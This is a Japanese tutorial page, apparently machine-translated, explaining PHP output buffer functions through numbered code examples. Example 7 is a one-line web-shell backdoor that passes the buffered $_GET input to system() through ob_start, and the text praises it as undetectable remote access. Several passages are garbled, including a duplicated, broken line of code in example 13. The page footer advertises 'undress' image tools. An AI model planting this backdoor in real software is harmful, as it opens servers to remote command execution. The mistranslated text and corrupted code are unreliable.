目次
PHP 出力バッファ制御 - 出力制御関数アプリケーション、outputcontrol の詳細説明
機能
php.iniの関連設定項目
その他注意事項
ホームページ バックエンド開発 PHPチュートリアル PHP出力バッファ制御 - 出力制御機能アプリケーションの詳細説明、outputcontrol_PHPチュートリアル

PHP出力バッファ制御 - 出力制御機能アプリケーションの詳細説明、outputcontrol_PHPチュートリアル

Jul 13, 2016 am 10:12 AM
control output php 関数 応用 コントロール バッファ 詳しい説明 出力

<p></p> <h2 id="PHP-出力バッファ制御-出力制御関数アプリケーション-outputcontrol-の詳細説明">PHP 出力バッファ制御 - 出力制御関数アプリケーション、outputcontrol の詳細説明</h2> <p> 出力バッファリングに関して、最初に話すべきことはバッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。 </p> <p>実際、PHP プログラマの場合、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。 </p> <p> 次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。 </p> 次のスクリプトを実行すると: <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例1*/</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> スクリプトが最初のエコーの実行を完了すると、対応するコンテンツはブラウザーに出力されず、バッファーに出力されます。以降、3 つのエコーがすべて実行される (つまり、スクリプトが終了する) と、スクリプトは実行されます。バッファの内容全体をブラウザに出力します。もちろん、このバッファにはサイズ制限もあり、php.ini の <p><em><code>output_buffering</code> オプションに従って設定されます。これについては、次の記事で詳しく説明します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。 </em> </p> この例は、出力バッファ制御のアプリケーションをより適切に反映できます: <p> </p> 次のコードを実行する場合: <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例2*/</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> <p> 出力結果を見るには最低2秒待つ必要があるので、リアルタイムに表示できるでしょうか?つまり、最初のエコーが実行されると、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。 </p> 実装コードは次のとおりです。 <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例3*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> 次のように簡単に実装することもできます: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例4*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> 関連する関数の使用法については、以下で紹介します。ここでは、出力バッファー制御関数の応用例を示します。もちろん、出力バッファー制御関数には複数の役割があります。出力バッファ制御機能はどのような分野に適用できますか? </p> <h3 id="機能">機能</h3> <h3 id="php-iniの関連設定項目">php.iniの関連設定項目</h3> <p> php.ini の出力バッファリング制御に関連するオプションを見てみましょう。 <em><code>output_buffering</code><code>output_buffering</code></em>  ,<em><code>output_handler</code></em>  和 <em><code>implicit_flush</code> 、 </em><code>output_handler</code></p> 、 <h3> という合計 3 つのオプションがあります。 <code> implicit_flush</code> </h3> <p> </p>アウトプットコントロール機能詳細説明<p> <strong>次に、例を使用して関連する関数を分析します。以下の内容を十分に理解した後、出力バッファ制御関数をより明確に理解できると思います。 </strong> </p> <p> 1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )</p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> この関数は例 3 で使用されています。名前からもその意味がわかりますが、出力バッファ処理の次のステップのために出力バッファをオープンするということです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数を以下に紹介します。簡単な例を見ることでその使用法を理解できます。 <tr> <td class="gutter"> </td> <td class="code"> 1 2 3 4 5 6 7 8 9 <code class="php plain"><?php</code> <code class="php comments">/*例5*/</code> <code class="php plain">ob_start(</code><code class="php string">'handleString'</code><code class="php plain">);</code> <code class="php functions">echo</code> <code class="php string">'123456'</code><code class="php plain">;</code> <code class="php spaces"> </code> <code class="php keyword">function</code> <code class="php plain">handleString(</code><code class="php variable">$string</code><code class="php plain">){</code> <code class="php spaces"> </code><code class="php keyword">return</code> <code class="php plain">md5(</code><code class="php variable">$string</code><code class="php plain">);</code> <code class="php plain">}</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> </p> <table border="0" cellspacing="0" cellpadding="0"> 実行後の結果は次のとおりです: <tbody> <tr> <td class="gutter"> </td> <td class="code"> 1 <code class="php plain">e10adc3949ba59abbe56e057f20f883e</code> </td> </tr> </tbody> </table> <p> </p> <p> これは、出力コンテンツが md5 暗号化されることを意味します。これは、バッファーのコンテンツが出力されるときに、定義した handleString 関数が実行されることを意味します。 </p> <table border="0" cellspacing="0" cellpadding="0"> より実践的な例を見てみましょう。これは、gzip を使用して Web コンテンツを圧縮して出力する一般的な方法です。コードは次のとおりです。 <tbody> <tr> <td class="gutter"> </td> 1 2 3 4 5 <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例6*/</code> <code class="php plain">ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code> <code class="php functions">echo</code> <code class="php functions">str_repeat</code><code class="php plain">(</code><code class="php string">'oschina'</code><code class="php plain">, 1024);</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> 🎜<p> ページサイズは: </p> <p><img src="/static/imghw/default1.png" data-src="http://www.bkjia.com/uploads/allimg/141204/163JS9E-0.PNG" class="lazy" alt=""></p> <p> ob_gzhandler パラメーターを使用しない場合、ページ サイズは次のようになります: </p> <p><img src="/static/imghw/default1.png" data-src="http://www.bkjia.com/uploads/allimg/141204/163JQ555-1.PNG" class="lazy" alt=""></p> <p> サイズの違いがはっきりとわかるので、ページ圧縮出力に ob_start() を使うのは非常に実用的な関数です。 </p> <p> 2 番目のパラメータ <em><code>chunk_size</code><code> chunk_size</code></em> 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 <em><code>erase</code> は、バッファのバイト長です。バッファの内容がこの長さより大きい場合、デフォルト値は 0 です。最後に関数が呼び出されます。 3 番目のパラメータ </em><code>erase</code></p> が flase に設定されている場合、事前にバッファ削除関数 (後述) が実行されていれば、バッファは削除されないことを意味します。エラーを報告してください。 <p> </p> ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります: <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> </td> 1 2 3 4 <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例7*/</code> <code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code><code class="php plain">);</code><code class="php functions">echo</code> <code class="php string">"$_GET[a]"</code><code class="php plain">;ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> </p> 上記のob_startの使い方を理解していれば、このコードはob_start関数を使ってバッファ出力の内容をパラメータとしてset関数に渡し、Webサーバー権限でのリモートアクセスを実現しています。検出されずに。 <p> <strong></strong> 2. string ob_get_contents (void)</p> <p> </p> この関数は、この時点でバッファーの内容を取得するために使用されます。次の例は、その使用法をよりよく理解することができます。 <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例8*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php plain">phpinfo();</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code> <code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code> <code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code> <code class="php plain">ob_end_clean();</code><code class="php comments">//清空并关闭缓冲区</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> この例を実行すると、ブラウザは出力を生成しないことがわかりますが、現在のディレクトリに phpinfo.txt ファイルが存在し、今回は期待される出力が保存されます。この例は、上記の 3 番目の点で述べた状況も示しています。出力内容を取得し、実際の状況に応じて処理できます。 </p> <p><strong> 3. int ob_get_length (void)</strong></p> <p> この関数は、バッファーの内容の長さを取得するために使用されます。例 8 は、この関数の使用法を示すために少し変更されています。 </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 9 10 11 12 13 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例9*/</code> <code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code> <code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code> <code class="php plain">phpinfo();</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code> <code class="php variable">$length</code> <code class="php plain">= ob_get_length();</code><code class="php comments">//获取缓冲区内容长度</code> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code> <code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code> <code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code> <code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); </code><code class="php comments">//输出长度</code> <code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲区</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> 4. int ob_get_level (void)<strong></strong> </p> この関数はバッファメカニズムのネストレベルを取得するために使用されます。 ob_start() 関数を導入したときに、スクリプト内で複数のバッファをネストできると言いましたが、この関数は現在のバッファレベルのネストを取得するものです。 、使用方法は次のとおりです: <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 9 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例10*/</code> <code class="php plain">ob_start();</code> <code class="php plain">var_dump(ob_get_level());</code> <code class="php plain">ob_start();</code> <code class="php plain">var_dump(ob_get_level());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> 走った後、彼らの巣作りの関係がはっきりとわかります。 <p> </p> <p> 5. array ob_get_status ([ bool $full_status = FALSE ] )<strong></strong> </p> この関数は現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、この配列を例で分析してみましょう。 <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> 1 2 3 4 5 6 7 8 9 <tr> <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例11*/</code> <code class="php plain">ob_start(&lsquo;ob_gzhandler&rsquo;);</code> <code class="php plain">var_export(ob_get_status());</code> <code class="php plain">ob_start();</code> <code class="php plain">var_export(ob_get_status());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> <p> このスクリプトの出力は次のとおりです: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </td> <td class="code"> <code class="php keyword">array</code> <code class="php plain">(</code> <code class="php spaces">  </code><code class="php string">'level'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'ob_gzhandler'</code><code class="php plain">,</code> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code> <code class="php plain">)</code> <code class="php spaces"> </code> <code class="php keyword">array</code> <code class="php plain">(</code> <code class="php spaces">  </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'default output handler'</code><code class="php plain">,</code> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code> <code class="php plain">)</code> </td> </tr> </tbody> </table> <p> Levelはネストレベルで、ob_get_level()で取得した値と同じです。 </p> <p> typeは処理バッファのタイプで、0はシステム内での自動処理、1はユーザーによる手動処理を意味します。 </p> <p>ステータスはバッファ処理のステータスで、0は開始、1は進行中、2は終了です</p> <p> Nameは定義された出力処理関数の名前で、ob_start()関数の最初のパラメータとして渡される関数名です。 </p> <p> delはバッファ削除操作が実行されたかどうかを示します</p> <p> 上記の配列の意味を理解すると、バッファのさまざまなプロパティをよりよく理解できるようになります。 </p> <p><strong> 6. array ob_list_handlers (void)</strong></p> <p> この関数は、ob_start() 関数で指定する最初のパラメーターである出力ハンドラーの関数名の配列を取得するために使用されます。渡すパラメーターが匿名関数である場合、または設定ファイル内であることに注意してください。 <em><code>output_buffering</code></em> が有効な場合、関数はデフォルトの出力ハンドラーを返します。公式 PHP マニュアルの例では、この関数についてよく説明されています。 </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例12*/</code> <code class="php comments">//using output_buffering=On</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php spaces"> </code> <code class="php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php spaces"> </code> <code class="php comments">// anonymous functions</code> <code class="php plain">ob_start(create_function(</code><code class="php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class="php plain">));</code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">ob_end_flush();</code> <code class="php plain">?></code> </td> </tr> </tbody> <p> 出力結果は次のとおりです: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </td> <td class="code"> <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code> <code class="php plain">)</code> <code class="php spaces"> </code> <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code> <code class="php plain">)</code> <code class="php spaces"> </code> <code class="php plain">Array</code> <code class="php plain">(</code> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code> <code class="php plain">)</code> </td> </tr> </tbody> </table> <p> バッファーの内容の出力、クローズ、送信に関連する関数を見てみましょう: </p> <p><strong> 7. void ob_flush (void)</strong></p> <p> この関数は、前の例でよく使用されます。その機能は、現在のバッファーの内容を「送信」すると同時にバッファーをクリアすることです。ここで「送信」という言葉が使用されているのは、これを呼び出すことを意味します。関数はバッファを送信しません。領域の内容は出力されます。例 3 から、出力する前に後でフラッシュ関数を呼び出す必要があることがわかります。フラッシュの使用法については後で説明しますが、ここでは例は示しません。 </p> <p><strong> 8.ボイドフラッシュ(void)</strong></p> <p> この関数は比較的一般的に使用されており、以前の出力をすべてブラウザに送信して表示するために使用され、キャッシュ領域には影響を与えません。この関数は例 3 と例 4 の両方で、現在の出力をブラウザに表示するために使用されます。言い換えれば、それが echo、HTML エンティティ、または flash( の実行後に ob_start() を実行することによって送信されたコンテンツなどの関数の出力であるかどうか)。 )がブラウザに表示されます。 </p> <p><strong> 9. void ob_implicit_flush ([ int $flag = true ] )</strong></p> <p> この関数は、絶対フラッシュ モードをオン/オフするために使用されます。このモードは、各出力後に自動的にフラッシュ()を実行するため、効率を向上させるために明示的にフラッシュ()を呼び出す必要はありません。例 4 を少し変更し、この関数を使用して同じ効果を実現します。 </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 8 9 10 11 12 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例13*/</code> <code class="php function">echo</code> <code class="php function">str_pad</code><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">// バッファがオーバーフローする</code> <code class="php plain">ob_implicit_flush(true);</code><code class="php comments">//打开绝对刷送</code> <code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code> <code class="php comments">//flush(); 之后不需要再显示的调用 flush()</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code> <code class="php comments">//flush();</code> <code class="php plain">sleep(1);</code> <code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> この例は例 4 と同じ効果を実現します。絶対フラッシュがオンになっているため、システムは出力後にフラッシュ()を呼び出す必要はありません。 </p> <p><strong> 10. bool ob_end_flush (void)</strong></p> <p> この関数はバッファの内容を送信し、バッファを閉じます。実際には、ob_flush() および ob_end_clean() を実行するのと同じです ;</p> <p><strong> 11. string ob_get_flush (void)</strong></p> <p> この関数は基本的に ob_end_flush() と同じ効果がありますが、バッファの内容を文字列の形式で返す点が異なります。非常に単純なので例としては使用しません。 </p> <p><strong> 12. void ob_clean (void)</strong></p> <p> この関数は現在のバッファをクリアしますが、バッファを閉じません。次の例の出力は、出力前にバッファがクリアされているため表示されませんが、バッファのプロパティを取得できることを示します。まだ閉店していません: </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td class="gutter"> 1 2 3 4 5 6 7 </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例14*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php plain">ob_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p><strong> 13. bool ob_end_clean (void)</strong></p> <p> この関数はバッファをクリアして閉じます。例 14 を少し変更すると、バッファが閉じられているため、バッファのステータスを取得できなくなることがわかります。 </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例15*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php plain">ob_end_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table> <p> 14. string ob_get_clean (void)<strong></strong> </p> この関数はキャッシュをクリアして閉じますが、実際には、この関数はそれぞれ ob_get_contents() と ob_end_clean() を実行して、キャッシュ内のデータを文字列の形式で返します。 <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> 1 2 3 4 5 6 7 8 <tr> <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例16*/</code> <code class="php plain">ob_start();</code> <code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code> <code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code> <code class="php plain">var_dump(ob_get_status());</code> <code class="php plain">var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code> <code class="php plain">?></code> </td> </tr> <p>最後に、URL 書き換えに関連する 2 つの関数を見てみましょう: </p> <p><strong> 15. bool Output_add_rewrite_var (string $name, string $value)</strong></p> <p> この関数は、URL 書き換えメカニズムのキーと値を追加します。ここでの URL 書き換えメカニズムとは、GET モードで URL の末尾にキーと値のペアを追加すること、または、キーと値のペアを非表示形式で追加することを指します。形状。絶対 URL は追加されません。マニュアルの例を使用してみましょう。非常に直感的で明確です。 </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <td class="gutter"> </td> <td class="code"> <code class="php plain"><?php</code> <code class="php comments">/*例17*/</code> <code class="php plain">output_add_rewrite_var(</code><code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class="php plain">);</code> <code class="php spaces"> </code> <code class="php comments">// some links</code> <code class="php functions">echo</code> <code class="php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a></code> <code class="php plain"><a href=</code><code class="php string">"http://example.com"</code><code class="php plain">>link2</a>';</code> <code class="php spaces"> </code> <code class="php comments">// a form</code> <code class="php functions">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code> <code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code> <code class="php plain"></form>';</code> <code class="php spaces"> </code> <code class="php plain">print_r(ob_list_handlers());</code> <code class="php plain">?></code> </td> </tr> </tbody> </table>プログラムの出力は次のとおりです: <p> </p> <table border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> 1 2 3 4 5 6 7 8 9 10 11 12 <td class="gutter"> </td> <td class="code"> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class="html plain">>link</</code><code class="html keyword">a</code><code class="html plain">></code> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</</code><code class="html keyword">a</code><code class="html plain">></code> <code class="html spaces"> </code> <code class="html plain"><</code><code class="html keyword">form</code> <code class="html color1">action</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">method</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain">></code> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">value</code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code> <code class="html plain"></</code><code class="html keyword">form</code><code class="html plain">></code> <code class="html spaces"> </code> <code class="html plain">Array</code> <code class="html plain">(</code> <code class="html spaces">    </code><code class="html plain">[0] => URL-Rewriter</code> <code class="html plain">)</code> </td> </tr> </tbody> <p> 絶対URLアドレスではないリンクやフォームが、対応するキーと値のペアで追加されていることがわかります。 </p> <p><strong> 16. bool Output_reset_rewrite_vars (void)</strong></p> <p> この関数は、すべての URL 書き換えメカニズムをクリアする、つまり、output_add_rewrite_var() によって設定された書き換え変数を削除するために使用されます。 </p> <h3 id="その他注意事項">その他注意事項</h3> <p> 上記の内容を読むと、PHP のバッファ制御機能についてより深く理解できるようになると思います。日常的に使用する際に注意する必要があるいくつかの問題について説明します。 </p> <p align="left"></p> <div style="display:none;">http://www.bkjia.com/PHPjc/921717.html<span id="url" itemprop="url"></span>www.bkjia.com<span id="indexUrl" itemprop="indexUrl"></span>tru​​e<span id="isOriginal" itemprop="isOriginal"></span>http://www.bkjia.com/PHPjc/921717.html<span id="isBasedOnUrl" itemprop="isBasedOnUrl"></span>技術記事<span id="genre" itemprop="genre"></span> PHP 出力バッファ制御 - 出力制御関数アプリケーション、outputcontrol の詳細説明 出力バッファリングというと、最初に話題になるのはバッファと呼ばれるものです。彼を説明する簡単な例を挙げてください...<span id="description" itemprop="description"></span> </div> <div class="art_confoot"></div> </table> </tbody> </table> </table> </tbody> </table> </table>
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

今まで知らなかったことを後悔している 7 つの PHP 関数 今まで知らなかったことを後悔している 7 つの PHP 関数 Nov 13, 2024 am 09:42 AM

